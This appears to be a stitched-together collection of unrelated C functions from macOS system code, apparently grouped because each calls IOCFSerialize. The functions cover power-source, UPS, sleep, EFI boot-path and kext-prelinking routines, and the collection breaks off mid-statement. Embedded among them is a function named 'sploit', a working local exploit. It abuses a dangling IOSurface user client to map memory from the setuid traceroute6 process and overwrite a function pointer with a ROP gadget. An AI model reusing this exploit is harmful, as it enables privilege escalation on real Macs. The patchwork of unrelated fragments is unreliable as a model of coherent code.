IOReturn IOPSSetPowerSourceDetails( IOPSPowerSourceID whichPS, CFDictionaryRef details) { IOReturn ret = kIOReturnSuccess; char dskey_str[kMaxSCDSKeyLength]; CFDataRef flatDetails; mach_port_t pm_server = MACH_PORT_NULL; if (!whichPS || !isA_CFString(whichPS->scdsKey) || !isA_CFDictionary(details)) return kIOReturnBadArgument; CFStringGetCString(whichPS->scdsKey, dskey_str, sizeof(dskey_str), kCFStringEncodingUTF8); flatDetails = IOCFSerialize(whichPS, 0); if (!flatDetails) goto exit; ret = _pm_connect(&pm_server); if(kIOReturnSuccess != ret) { ret = kIOReturnNotOpen; goto exit; } // Pass the details off to powerd io_pm_update_pspowersource(pm_server, dskey_str, (vm_offset_t) CFDataGetBytePtr(flatDetails), CFDataGetLength(flatDetails), (int *)&ret); _pm_disconnect(pm_server); exit: if (flatDetails) CFRelease(flatDetails); return ret; }
//--------------------------------------------------------------------------- // _io_ups_get_capabilities // // This routine allow remote processes to issue commands to the UPS. It will // return a CFSetRef that is serialized. //--------------------------------------------------------------------------- kern_return_t _io_ups_get_capabilities( mach_port_t server, int upsID, void ** capabilitiesBufferPtr, IOByteCount * capabilitiesBufferSizePtr) { CFSetRef capabilities; CFMutableDataRef data; CFDataRef serializedData; UPSDataRef upsDataRef; IOReturn res = kIOReturnError; if (!capabilitiesBufferPtr || !capabilitiesBufferSizePtr || !gUPSDataArrayRef || (upsID >= CFArrayGetCount(gUPSDataArrayRef))) { return kIOReturnBadArgument; } data = (CFMutableDataRef)CFArrayGetValueAtIndex(gUPSDataArrayRef, upsID); upsDataRef = (UPSDataRef)CFDataGetMutableBytePtr(data); if (!upsDataRef || !upsDataRef->upsPlugInInterface) return kIOReturnBadArgument; res = (*upsDataRef->upsPlugInInterface)->getCapabilities( upsDataRef->upsPlugInInterface, &capabilities); if ((res != kIOReturnSuccess) || !capabilities) return kIOReturnError; serializedData = (CFDataRef)IOCFSerialize( capabilities, kNilOptions ); if (!serializedData) return kIOReturnError; *capabilitiesBufferSizePtr = CFDataGetLength(serializedData); vm_allocate(mach_task_self(), (vm_address_t *)capabilitiesBufferPtr, *capabilitiesBufferSizePtr, TRUE); if( *capabilitiesBufferPtr ) memcpy(*capabilitiesBufferPtr, CFDataGetBytePtr(serializedData), *capabilitiesBufferSizePtr); CFRelease( serializedData ); return res; }
IOReturn IOUPSSendCommand(mach_port_t connect, int upsID, CFDictionaryRef command) { IOReturn ret; CFDataRef serializedData; if (!connect || !command) return kIOReturnBadArgument; serializedData = (CFDataRef)IOCFSerialize( command, kNilOptions ); if (!serializedData) return kIOReturnError; ret = io_ups_send_command(connect, upsID, (vm_offset_t)CFDataGetBytePtr(serializedData), (mach_msg_type_number_t) CFDataGetLength(serializedData)); CFRelease( serializedData ); return ret; }
static void printEntry(const void *key, const void *value, void *context) { struct indent_ctxt * ctxt = context; #if 1 // IOKit pretty CFDataRef data; indent(false, ctxt->depth, ctxt->stackOfBits); printf(" "); printCFString( (CFStringRef)key ); printf(" = "); data = IOCFSerialize((CFStringRef)value, kNilOptions); if( data) { if( 10000 > CFDataGetLength(data)) printf(CFDataGetBytePtr(data)); else printf("<is BIG>"); CFRelease(data); } else printf("<IOCFSerialize failed>"); printf("\n"); #else // CF ugly CFStringRef keyStr = (CFStringRef) key; CFStringRef valueStr = CFCopyDescription((CFTypeRef) val); CFStringRef outStr; indent(false, ctxt->depth, ctxt->stackOfBits); outStr = CFStringCreateWithFormat(kCFAllocatorDefault, 0, CFSTR(" %@ = %@\n"), keyStr, valueStr); assert(outStr); printCFString(outStr); CFRelease(valueStr); CFRelease(outStr); #endif }
/* Private call for Apple Internal use only */ IOReturn IOPMSleepSystemWithOptions ( io_connect_t fb, CFDictionaryRef options ) { uint64_t rtn = 0; size_t len = sizeof(uint32_t); kern_return_t err; CFDataRef serializedOptions = NULL; if( !options ) { return IOPMSleepSystem( fb ); } serializedOptions = IOCFSerialize( options, 0 ); if (!serializedOptions) { return kIOReturnInternalError; } /* kPMSleepSystemOptions * in: serialized CFDictionary of options * out: IOReturn code returned from sleepSystem */ err = IOConnectCallStructMethod( fb, kPMSleepSystemOptions, CFDataGetBytePtr(serializedOptions), /* inputStruct */ CFDataGetLength(serializedOptions), /* inputStructCnt */ &rtn, /* outputStruct */ &len); /* outputStructCnt */ CFRelease(serializedOptions); if (kIOReturnSuccess != err) return err; else return (IOReturn) rtn; }
void sploit(int child_pid, mach_port_t child_task_port) { kern_return_t err; // setup ROP stack we'll use in the target: uint64_t fptr_page = 0; uint32_t fptr_offset = 0; uint64_t stack_shift_gadget = 0; char** argv = setup_payload_and_offsets(&stack_shift_gadget, &fptr_page, &fptr_offset); // get the userclient passing the child's task port io_connect_t dangler = get_uc(child_task_port); printf("got dangler\n"); // drop our ref on the child_task_port mach_port_deallocate(mach_task_self(), child_task_port); // kill the child, free'ing its task struct kill(child_pid, 9); int status; wait(&status); // fork and exec the target who's memory we want to mess with //int targets_count = 1; //int* target_pids = exec_n("./mmapper", targets_count); int target_pid = 0; int blocker = fork_and_exec_blocking("/usr/sbin/traceroute6", argv, NULL, &target_pid); // wait a little bit to make sure it's actually started... // (could peek in the pipe and see if it's written anything there?) usleep(100000); printf("killed child and exec'ed target\n"); // now the dangler userclient's task struct* hopefully actually points to the task struct // of one of those targets // now we create a new surface, the IOSurface code will use that task struct* and actually // create an IOMemoryDescriptor wrapping the targets memory, not ours CFMutableDictionaryRef surface_props = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); uint64_t target_addr = fptr_page; uint32_t target_size = 0x1000; CFDictionarySetValue(surface_props, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &target_addr)); CFDictionarySetValue(surface_props, CFSTR("IOSurfaceAllocSize"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &target_size)); CFDictionarySetValue(surface_props, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue); CFDataRef props_data = IOCFSerialize(surface_props, kNilOptions); void* inputStruct = (void*)CFDataGetBytePtr(props_data); size_t inputStructCnt = (size_t)CFDataGetLength(props_data); uint64_t inputScalar[16]; size_t inputScalarCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[0x548]; size_t outputStructCnt = 0x548; // create_surface int selector = 0; err = IOConnectCallMethod( dangler, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); MACH_ERR("making external method call", err); int target_surface_id = *(int*)(&outputStruct[0x10]); printf("got a surface id: %d - hopefully that wraps a page in the target process\n", target_surface_id); // create another IOSurfaceRootUserClient but this time with our own task port io_connect_t surface = get_uc(mach_task_self()); // call lookup_surface which will lookup the global surface by id and map it into this task: inputStruct = NULL; inputStructCnt = 0; inputScalar[0] = target_surface_id; inputScalarCnt = 1; outputStructCnt = 0x548; // lookup_surface selector = 6; err = IOConnectCallMethod( surface, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); MACH_ERR("making external method call", err); char* shared_page = *(char**)(&outputStruct[0]); printf("got a surface back, mapped in at %p\n", shared_page); printf("%c%c%c%c\n", shared_page[0], shared_page[1], shared_page[2], shared_page[3]); shared_page[0] = 'B'; //overwrite the fptr value: *(uint64_t*)(shared_page+fptr_offset) = stack_shift_gadget; // unblock the pipe and let the target run to exit unblock_pipe_and_interact(blocker); int sl; wait(&sl); }
int BLCreateEFIXMLRepresentationForPath(BLContextPtr context, const char *path, const char *optionalData, CFStringRef *xmlString, bool shortForm) { char fullpath[MAXPATHLEN]; struct statfs sb; int ret; int i; size_t slen; mach_port_t masterPort; kern_return_t kret; CFDataRef xmlData; CFMutableDictionaryRef dict; CFMutableArrayRef array; const UInt8 *xmlBuffer; UInt8 *outBuffer; CFIndex count; CFStringRef pathString; kret = IOMasterPort(MACH_PORT_NULL, &masterPort); if(kret) return 1; if(NULL == realpath(path, fullpath)) { contextprintf(context, kBLLogLevelError, "Can't resolve full path for %s\n", path); return 1; } ret = blsustatfs(fullpath, &sb); if(ret) { contextprintf(context, kBLLogLevelError, "Can't statfs %s\n", fullpath); return 2; } if(0 != strncmp(fullpath, sb.f_mntonname, strlen(sb.f_mntonname))) { return 3; } // if fullpath was actually the path to the mountpoint, // don't add a path component to the XML dict if(0 != strcmp(fullpath, sb.f_mntonname)) { if(strlen(sb.f_mntonname) > 1) { memmove(fullpath, fullpath+strlen(sb.f_mntonname), strlen(fullpath)-strlen(sb.f_mntonname)+1); } slen = strlen(fullpath); for(i=0; i < slen; i++) { if(fullpath[i] == '/') fullpath[i] = '\\'; } pathString = CFStringCreateWithCString(kCFAllocatorDefault, fullpath, kCFStringEncodingUTF8); contextprintf(context, kBLLogLevelVerbose, "Relative path of %s is %s\n", path, fullpath); } else { pathString = NULL; contextprintf(context, kBLLogLevelVerbose, "Path to mountpoint given: %s\n", fullpath); } array = CFArrayCreateMutable(kCFAllocatorDefault, 0, &kCFTypeArrayCallBacks); dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); ret = addMatchingInfoForBSDName(context, masterPort, dict, sb.f_mntfromname+strlen("/dev/"), shortForm); if(ret) { CFRelease(dict); CFRelease(array); return 2; } CFArrayAppendValue(array, dict); CFRelease(dict); if(pathString) { dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionaryAddValue(dict, CFSTR("IOEFIDevicePathType"), CFSTR("MediaFilePath")); CFDictionaryAddValue(dict, CFSTR("Path"), pathString); CFArrayAppendValue(array, dict); CFRelease(dict); CFRelease(pathString); } if(optionalData) { CFStringRef optString = CFStringCreateWithCString(kCFAllocatorDefault, optionalData, kCFStringEncodingUTF8); dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionaryAddValue(dict, CFSTR("IOEFIBootOption"), optString); CFArrayAppendValue(array, dict); CFRelease(dict); CFRelease(optString); } xmlData = IOCFSerialize(array, 0); CFRelease(array); if(xmlData == NULL) { contextprintf(context, kBLLogLevelError, "Can't create XML representation\n"); return 2; } count = CFDataGetLength(xmlData); xmlBuffer = CFDataGetBytePtr(xmlData); outBuffer = calloc(count+1, sizeof(char)); // terminate memcpy(outBuffer, xmlBuffer, count); CFRelease(xmlData); *xmlString = CFStringCreateWithCString(kCFAllocatorDefault, (const char *)outBuffer, kCFStringEncodingUTF8); free(outBuffer); return 0; }
KXKextManagerError PreLink(KXKextManagerRef theKextManager, CFDictionaryRef kextDict, const char * kernelCacheFilename, const char * kernel_file_name, const char * platform_name, const char * root_path, CFSetRef kernel_requests, Boolean all_plists, const NXArchInfo * arch, int verbose_level, Boolean debug_mode) { KXKextManagerError result = kKXKextManagerErrorFileAccess; CFIndex kexts_count, i; KXKextRef * kexts = NULL; // must free KXKextRef theKext = NULL; // don't release char symbol_dir[1 + strlen(TEMP_DIR)]; const char * temp_file = "cache.out"; int outfd = -1, curwd = -1; CFBundleRef kextBundle = NULL; // don't release CFMutableArrayRef moduleList; CFMutableDictionaryRef infoDict; vm_offset_t nextKernelVM; Boolean use_existing, kernel_swapped, includeInfo; vm_offset_t kernel_file, kernel_map; off_t kernel_size; vm_size_t kernel_file_size, bytes, totalBytes; vm_size_t totalModuleBytes, totalInfoBytes; vm_size_t totalSymbolBytes, totalSymbolSetBytes, totalSymbolDiscardedBytes; vm_size_t remainingModuleBytes, fileoffset, vmoffset, tailoffset; CFIndex idx, ncmds, cmd; IOReturn err; struct segment_command * seg; struct segment_command * prelinkseg; struct section * prelinksects; struct PrelinkState { kmod_info_t modules[1]; }; struct PrelinkState prelink_state_init; struct PrelinkState * prelink_state; vm_size_t prelink_size; int * prelink_dependencies; vm_size_t prelink_dependencies_size; kmod_info_t * lastInfo; struct FileInfo { vm_offset_t mapped; vm_size_t mappedSize; vm_offset_t symtaboffset; vm_offset_t symbolsetoffset; vm_size_t symtabsize; vm_size_t symtabdiscarded; CFStringRef key; KXKextRef kext; Boolean code; Boolean swapped; }; struct FileInfo * files = NULL; // -- symbol_dir[0] = 0; moduleList = CFArrayCreateMutable( kCFAllocatorDefault, 0, &kCFTypeArrayCallBacks ); if (kKXKextManagerErrorNone != (err = readFile(kernel_file_name, &kernel_file, &kernel_file_size))) goto finish; find_arch( (u_int8_t **) &kernel_map, &kernel_size, arch->cputype, arch->cpusubtype, (u_int8_t *) kernel_file, kernel_file_size); if (!kernel_size) { fprintf(stderr, "can't find architecture %s in %s\n", arch->name, kernel_file_name); err = kKXKextManagerErrorLinkLoad; goto finish; } if (arch->cputype != CPU_TYPE_ANY) kld_set_architecture(arch); kernel_swapped = kld_macho_swap((struct mach_header *)kernel_map); ncmds = ((struct mach_header *)kernel_map)->ncmds; seg = (struct segment_command *)(((struct mach_header *)kernel_map) + 1); for (cmd = 0; cmd < ncmds; cmd++, seg = (struct segment_command *)(((vm_offset_t)seg) + seg->cmdsize)) { if (LC_SEGMENT != seg->cmd) continue; if (strcmp("__PRELINK", seg->segname)) continue; break; } if (cmd >= ncmds) { fprintf(stderr, "no __PRELINK segment in %s\n", kernel_file_name); err = kKXKextManagerErrorLinkLoad; goto finish; } prelinkseg = seg; prelinksects = (struct section *) (prelinkseg + 1); if ((prelinkseg->nsects != 3) || (strcmp("__text", prelinksects[0].sectname)) || (strcmp("__symtab", prelinksects[1].sectname)) || (strcmp("__info", prelinksects[2].sectname))) { fprintf(stderr, "unexpected __PRELINK sections in %s\n", kernel_file_name); err = kKXKextManagerErrorLinkLoad; goto finish; } if (!prelinkseg->fileoff) prelinkseg->fileoff = prelinksects[0].offset; strcpy(symbol_dir, TEMP_DIR); mktemp(symbol_dir); if (0 != mkdir(symbol_dir, 0755)) { fprintf(stderr, "mkdir(%s) failed: %s\n", symbol_dir, strerror(errno)); symbol_dir[0] = 0; err = kKXKextManagerErrorFileAccess; goto finish; } curwd = open(".", O_RDONLY, 0); if (0 != chdir(symbol_dir)) { perror("chdir"); err = kKXKextManagerErrorFileAccess; goto finish; } use_existing = false; if (!use_existing) { int fd; bzero(&prelink_state_init, sizeof(prelink_state_init)); prelink_state_init.modules[0].address = prelinkseg->vmaddr; fd = open("prelinkstate", O_WRONLY|O_CREAT|O_TRUNC, 0755); if (-1 == fd) { perror("create prelinkstate failed"); err = kKXKextManagerErrorFileAccess; goto finish; } err = writeFile(fd, &prelink_state_init, sizeof(prelink_state_init)); close(fd); if (kKXKextManagerErrorNone != err) goto finish; } /* Prepare to iterate over the kexts in the dictionary. */ kexts_count = CFDictionaryGetCount(kextDict); kexts = (KXKextRef *) calloc(kexts_count, sizeof(KXKextRef)); if (!kexts) { fprintf(stderr, "memory allocation failure\n"); err = kKXKextManagerErrorNoMemory; goto finish; } CFDictionaryGetKeysAndValues(kextDict, (const void **)NULL, (const void **)kexts); for (i = 0; i < kexts_count; i++) { Boolean linkit; theKext = (KXKextRef) kexts[i]; linkit = KXKextGetDeclaresExecutable(theKext) && (kextBundle = KXKextGetBundle(theKext)); if (linkit && kernel_requests) { CFStringRef bundleIdentifier = CFBundleGetIdentifier(kextBundle); linkit = (bundleIdentifier && CFSetContainsValue(kernel_requests, bundleIdentifier)); } if (linkit) { result = _KXKextManagerPrepareKextForLoading( theKextManager, theKext, NULL /*kext_name*/, FALSE /*check_loaded_for_dependencies*/, FALSE /*do_load*/, NULL /*inauthenticKexts*/); if (!use_existing && (result == kKXKextManagerErrorNone)) { result = _KXKextManagerLoadKextUsingOptions( theKextManager, theKext, NULL /*kext_name*/, kernel_file_name, NULL /*patch_dir*/, symbol_dir, kKXKextManagerLoadPrelink /*load_options*/, FALSE /*do_start_kmod*/, 0 /*interactive_level*/, FALSE /*ask_overwrite_symbols*/, FALSE /*overwrite_symbols*/, FALSE /*get_addrs_from_kernel*/, 0 /*num_addresses*/, NULL /*addresses*/); } if ((result != kKXKextManagerErrorNone) && (verbose_level > 0)) { const char * kext_path = NULL; // must free kext_path = _KXKextCopyCanonicalPathnameAsCString(theKext); if (kext_path) { fprintf(stderr, kext_path); free((char *)kext_path); } fprintf(stderr, " error 0x%x\n", result); } } } { struct module_header { struct mach_header h; struct segment_command seg[1]; }; struct module_header * header; int num_modules; if (kKXKextManagerErrorNone != (err = readFile("prelinkstate", (vm_offset_t *) &prelink_state, &prelink_size))) goto finish; if (kKXKextManagerErrorNone != (err = readFile("prelinkdependencies", (vm_offset_t *) &prelink_dependencies, &prelink_dependencies_size))) goto finish; num_modules = prelink_state->modules[0].id; nextKernelVM = prelink_state->modules[0].address; if (!num_modules || (prelink_size < ((num_modules + 1) * sizeof(kmod_info_t)))) { fprintf(stderr, "read prelinkstate failed\n"); err = kKXKextManagerErrorFileAccess; goto finish; } if (verbose_level > 0) { verbose_log("%d modules - code VM 0x%lx - 0x%x (0x%lx, %.2f Mb)", num_modules, prelinkseg->vmaddr, nextKernelVM, nextKernelVM - prelinkseg->vmaddr, ((float)(nextKernelVM - prelinkseg->vmaddr)) / 1024.0 / 1024.0 ); } // map files, get sizes files = (struct FileInfo *) calloc(num_modules, sizeof(struct FileInfo)); totalModuleBytes = 0; for (idx = 0; idx < num_modules; idx++) { files[idx].key = CFStringCreateWithCString(kCFAllocatorDefault, prelink_state->modules[1+idx].name, kCFStringEncodingMacRoman); files[idx].kext = KXKextManagerGetKextWithIdentifier(theKextManager, files[idx].key); if (!prelink_state->modules[1+idx].size) continue; if (kKXKextManagerErrorNone != (err = readFile(prelink_state->modules[1+idx].name, &files[idx].mapped, &files[idx].mappedSize))) goto finish; header = (struct module_header *) files[idx].mapped; files[idx].swapped = kld_macho_swap(&header->h); files[idx].code = (LC_SEGMENT == header->seg[0].cmd); if (files[idx].code) totalModuleBytes += header->seg[0].vmaddr + round_page(header->seg[0].vmsize) - prelink_state->modules[1+idx].address; } totalSymbolBytes = 0; totalSymbolDiscardedBytes = 0; totalSymbolSetBytes = 0; remainingModuleBytes = totalModuleBytes; // create prelinked kernel file outfd = open("mach_kernel.prelink", O_WRONLY|O_CREAT|O_TRUNC, 0666); if (-1 == outfd) { fprintf(stderr, "can't create %s: %s\n", "mach_kernel.prelink", strerror(errno)); err = kKXKextManagerErrorFileAccess; goto finish; } // start writing at the prelink segs file offset if (-1 == lseek(outfd, prelinkseg->fileoff, SEEK_SET)) { perror("couldn't write output"); err = kKXKextManagerErrorFileAccess; goto finish; } for (idx = 0, lastInfo = NULL; idx < num_modules; idx++) { kmod_info_t * info; unsigned long modcmd; struct symtab_command * symcmd; struct section * sect; vm_size_t headerOffset; if (!files[idx].code && prelink_state->modules[1+idx].size) { // for symbol sets the whole file ends up in the symbol sect files[idx].symtaboffset = 0; files[idx].symtabsize = prelink_state->modules[1+idx].size; files[idx].symbolsetoffset = totalSymbolBytes; totalSymbolBytes += files[idx].symtabsize; totalSymbolSetBytes += files[idx].symtabsize; continue; } header = (struct module_header *) files[idx].mapped; // patch kmod_info info = (kmod_info_t *) (prelink_state->modules[1+idx].id - header->seg[0].vmaddr + header->seg[0].fileoff + files[idx].mapped); info->next = lastInfo; lastInfo = info; bcopy(prelink_state->modules[1+idx].name, info->name, sizeof(info->name)); bcopy(prelink_state->modules[1+idx].version, info->version, sizeof(info->version)); info->address = prelink_state->modules[1+idx].address; info->size = prelink_state->modules[1+idx].size; info->id = prelink_state->modules[1+idx].id; info->hdr_size = header->seg[0].vmaddr - prelink_state->modules[1+idx].address; // patch offsets // how far back the header moves headerOffset = info->hdr_size - header->seg[0].fileoff; header->seg[0].fileoff += headerOffset; header->seg[0].filesize += headerOffset; // module code size tailoffset = round_page(header->seg[0].vmsize) + info->hdr_size - headerOffset; for (modcmd = 0, sect = (struct section *) &header->seg[1]; modcmd < header->seg[0].nsects; modcmd++, sect++) sect->offset += headerOffset; for (modcmd = 0, seg = &header->seg[0]; (modcmd < header->h.ncmds) && (LC_SYMTAB != seg->cmd); modcmd++, seg = (struct segment_command *)(((vm_offset_t)seg) + seg->cmdsize)) {} if (modcmd >= header->h.ncmds) { fprintf(stderr, "No LC_SYMTAB in %s\n", prelink_state->modules[1+idx].name); err = kKXKextManagerErrorLinkLoad; goto finish; } symcmd = (struct symtab_command *) seg; theKext = files[idx].kext; if (false && theKext && (kextBundle = KXKextGetBundle(theKext)) && CFBundleGetValueForInfoDictionaryKey(kextBundle, CFSTR("OSBundleCompatibleVersion"))) { // keeping symbols for this module struct nlist * sym; long align, lastUsedOffset = 0; const char * lastUsedString; unsigned int strIdx; files[idx].symtaboffset = symcmd->symoff; files[idx].symtabsize = symcmd->nsyms * sizeof(struct nlist); // .. but just the external strings sym = (struct nlist *) (symcmd->symoff + files[idx].mapped); for(strIdx = 0; strIdx < symcmd->nsyms; strIdx++, sym++) { if (!lastUsedOffset) lastUsedOffset = sym->n_un.n_strx; else if (!(sym->n_type & N_EXT)) sym->n_un.n_strx = 0; else if (sym->n_un.n_strx > lastUsedOffset) lastUsedOffset = sym->n_un.n_strx; } lastUsedString = (const char *) (symcmd->stroff + lastUsedOffset + files[idx].mapped); lastUsedOffset += (1 + strlen(lastUsedString)); align = lastUsedOffset % sizeof(long); if (align) { align = sizeof(long) - align; bzero((void *) (symcmd->stroff + lastUsedOffset + files[idx].mapped), align); lastUsedOffset += align; } files[idx].symtabsize += lastUsedOffset; files[idx].symtabdiscarded = symcmd->strsize - lastUsedOffset; symcmd->strsize = lastUsedOffset; // unswap symbols kld_macho_unswap(&header->h, files[idx].swapped, 1); // patch offset to symbols // how far ahead the symtab moves bytes = remainingModuleBytes + totalSymbolBytes; symcmd->symoff = bytes; symcmd->stroff += bytes - files[idx].symtaboffset; totalSymbolBytes += files[idx].symtabsize; totalSymbolDiscardedBytes += files[idx].symtabdiscarded; } else { // ditching symbols for this module files[idx].symtaboffset = 0; files[idx].symtabsize = 0; symcmd->nsyms = 0; symcmd->symoff = 0; symcmd->stroff = 0; } remainingModuleBytes -= prelink_state->modules[1+idx].size; // unswap rest of module if (files[idx].swapped) { info->next = (void *) NXSwapLong((long) info->next); info->address = NXSwapLong(info->address); info->size = NXSwapLong(info->size); info->hdr_size = NXSwapLong(info->hdr_size); info->id = NXSwapLong(info->id); } kld_macho_unswap(&header->h, files[idx].swapped, -1); files[idx].swapped = false; header = 0; info = 0; // copy header to start of VM allocation if (kKXKextManagerErrorNone != (err = writeFile(outfd, (const void *) files[idx].mapped, headerOffset))) goto finish; // write the module if (kKXKextManagerErrorNone != (err = writeFile(outfd, (const void *) files[idx].mapped, tailoffset ))) goto finish; } // write the symtabs, get info, unmap for (idx = 0; idx < num_modules; idx++) { bytes = files[idx].symtabsize; if (bytes && prelink_state->modules[1+idx].size) { if (files[idx].mappedSize < (files[idx].symtaboffset + bytes)) { fprintf(stderr, "%s is truncated\n", prelink_state->modules[1+idx].name); result = kKXKextManagerErrorFileAccess; goto finish; } else if (files[idx].mappedSize > (files[idx].symtaboffset + bytes + files[idx].symtabdiscarded)) fprintf(stderr, "%s has extra data\n", prelink_state->modules[1+idx].name); // write symtab if (kKXKextManagerErrorNone != (err = writeFile(outfd, (const void *) files[idx].mapped + files[idx].symtaboffset, bytes))) goto finish; } // unmap file if (files[idx].mappedSize) { vm_deallocate(mach_task_self(), files[idx].mapped, files[idx].mappedSize); files[idx].mapped = 0; files[idx].mappedSize = 0; } // make info dict theKext = files[idx].kext; infoDict = NULL; includeInfo = (theKext && (kextBundle = KXKextGetBundle(theKext))); if (includeInfo && !all_plists) { CFStringRef str; // check OSBundleRequired to see if safe for boot time matching str = CFBundleGetValueForInfoDictionaryKey(kextBundle, CFSTR("OSBundleRequired")); includeInfo = (str && (kCFCompareEqualTo != CFStringCompare(str, CFSTR("Safe Boot"), 0))); } if (includeInfo) infoDict = copyInfoDict(kextBundle); if (!infoDict) { if (debug_mode > 0) { verbose_log("skip info for %s", prelink_state->modules[1+idx].name); } infoDict = CFDictionaryCreateMutable( kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(infoDict, CFSTR("CFBundleIdentifier"), files[idx].key); } CFRelease(files[idx].key); files[idx].key = 0; if (prelink_state->modules[1+idx].address) { CFMutableDataRef data; enum { kPrelinkReservedCount = 4 }; UInt32 prelinkInfo[kPrelinkReservedCount]; prelinkInfo[0] = NXSwapHostIntToBig(prelink_state->modules[1+idx].id); prelinkInfo[1] = NXSwapHostIntToBig(0); prelinkInfo[2] = NXSwapHostIntToBig(sizeof(prelinkInfo)); prelinkInfo[3] = NXSwapHostIntToBig( prelink_state->modules[1+idx].reference_count * sizeof(UInt32) + sizeof(prelinkInfo)); data = CFDataCreateMutable(kCFAllocatorDefault, 0); CFDataAppendBytes( data, (const UInt8 *) prelinkInfo, sizeof(prelinkInfo) ); if (prelink_state->modules[1+idx].reference_count) { CFIndex start = (CFIndex) prelink_state->modules[1+idx].reference_list; CFDataAppendBytes( data, (const UInt8 *) &prelink_dependencies[start], prelink_state->modules[1+idx].reference_count * sizeof(CFIndex) ); } CFDictionarySetValue(infoDict, CFSTR("OSBundlePrelink"), data); CFRelease(data); } else if (files[idx].symtabsize) { CFNumberRef num; num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, (const void *) &files[idx].symbolsetoffset); CFDictionarySetValue(infoDict, CFSTR("OSBundlePrelinkSymbols"), num); CFRelease(num); } CFArrayAppendValue(moduleList, infoDict); CFRelease(infoDict); } bytes = round_page(totalSymbolBytes) - totalSymbolBytes; totalSymbolBytes += bytes; if (-1 == lseek(outfd, bytes, SEEK_CUR)) { perror("couldn't write output"); err = kKXKextManagerErrorFileAccess; goto finish; } // deferred load __info if (!all_plists) for (i = 0; i < kexts_count; i++) { theKext = (KXKextRef) kexts[i]; for (idx = 0; (idx < num_modules) && (theKext != files[idx].kext); idx++) {} if (idx < num_modules) continue; includeInfo = (theKext && (kextBundle = KXKextGetBundle(theKext))); if (includeInfo) { CFStringRef str; // check OSBundleRequired to see if safe for boot time matching str = CFBundleGetValueForInfoDictionaryKey(kextBundle, CFSTR("OSBundleRequired")); includeInfo = (str && (kCFCompareEqualTo != CFStringCompare(str, CFSTR("Safe Boot"), 0))); if (includeInfo) { infoDict = copyInfoDict(kextBundle); if (infoDict) { CFDictionarySetValue(infoDict, CFSTR("OSBundleDefer"), kCFBooleanTrue); CFArrayAppendValue(moduleList, infoDict); CFRelease(infoDict); } } } } // write __info { CFDataRef data; data = IOCFSerialize(moduleList, kNilOptions); if (!data) { fprintf(stderr, "couldn't serialize property lists\n"); err = kKXKextManagerErrorSerialization; goto finish; } totalInfoBytes = round_page(CFDataGetLength(data)); if (kKXKextManagerErrorNone != (err = writeFile(outfd, CFDataGetBytePtr(data), CFDataGetLength(data)))) goto finish; if (-1 == lseek(outfd, totalInfoBytes - CFDataGetLength(data), SEEK_CUR)) { perror("couldn't write output"); err = kKXKextManagerErrorFileAccess; goto finish; } CFRelease(data); } totalBytes = totalModuleBytes + totalSymbolBytes + totalInfoBytes; if (verbose_level > 0) { verbose_log("added 0x%x bytes %.2f Mb (code 0x%x + symbol 0x%x + sets 0x%x - strings 0x%x + info 0x%x)", totalBytes, ((float) totalBytes) / 1024.0 / 1024.0, totalModuleBytes, totalSymbolBytes, totalSymbolSetBytes, totalSymbolDiscardedBytes, totalInfoBytes); } fileoffset = totalBytes - prelinkseg->filesize; vmoffset = totalBytes - round_page(prelinkseg->filesize); // unswap kernel symbols kld_macho_unswap((struct mach_header *)kernel_map, kernel_swapped, 1); // write tail of base kernel tailoffset = prelinkseg->fileoff + prelinkseg->filesize; if (kKXKextManagerErrorNone != (err = writeFile(outfd, (const void *) (kernel_map + tailoffset), kernel_size - tailoffset))) goto finish; // patch prelink sects sizes and offsets prelinkseg->vmsize = totalBytes; prelinkseg->filesize = totalBytes; prelinksects[0].size = totalModuleBytes; prelinksects[1].addr = prelinksects[0].addr + totalModuleBytes; prelinksects[1].size = totalSymbolBytes; prelinksects[1].offset = prelinksects[0].offset + totalModuleBytes; prelinksects[2].addr = prelinksects[1].addr + totalSymbolBytes; prelinksects[2].size = totalInfoBytes; prelinksects[2].offset = prelinksects[1].offset + totalSymbolBytes; // patch following segs address & offsets seg = prelinkseg; for (; cmd < ncmds; cmd++) { seg = (struct segment_command *)(((vm_offset_t)seg) + seg->cmdsize); if (LC_SYMTAB == seg->cmd) { ((struct symtab_command *)seg)->symoff += fileoffset; ((struct symtab_command *)seg)->stroff += fileoffset; } else if (LC_SEGMENT == seg->cmd) { seg->fileoff += fileoffset; seg->vmaddr += vmoffset; } } bytes = prelinkseg->fileoff; // unswap kernel headers kld_macho_unswap((struct mach_header *)kernel_map, kernel_swapped, -1); kernel_swapped = false; prelinkseg = 0; // write head of base kernel, & free it if (-1 == lseek(outfd, 0, SEEK_SET)) { perror("couldn't write output"); err = kKXKextManagerErrorFileAccess; goto finish; } if (kKXKextManagerErrorNone != (err = writeFile(outfd, (const void *) kernel_map, bytes))) goto finish; close(outfd); outfd = -1; vm_deallocate( mach_task_self(), kernel_file, kernel_file_size ); kernel_file = 0; kernel_map = 0; } // compresss { char * buf; char * bufend; vm_size_t bufsize; struct { uint32_t signature; uint32_t compress_type; uint32_t adler32; vm_size_t uncompressed_size; vm_size_t compressed_size; uint32_t reserved[11]; char platform_name[64]; char root_path[256]; char data[0]; } kernel_header = { 0 }; if (kKXKextManagerErrorNone != (err = readFile("mach_kernel.prelink", &kernel_file, &kernel_file_size))) goto finish; bufsize = 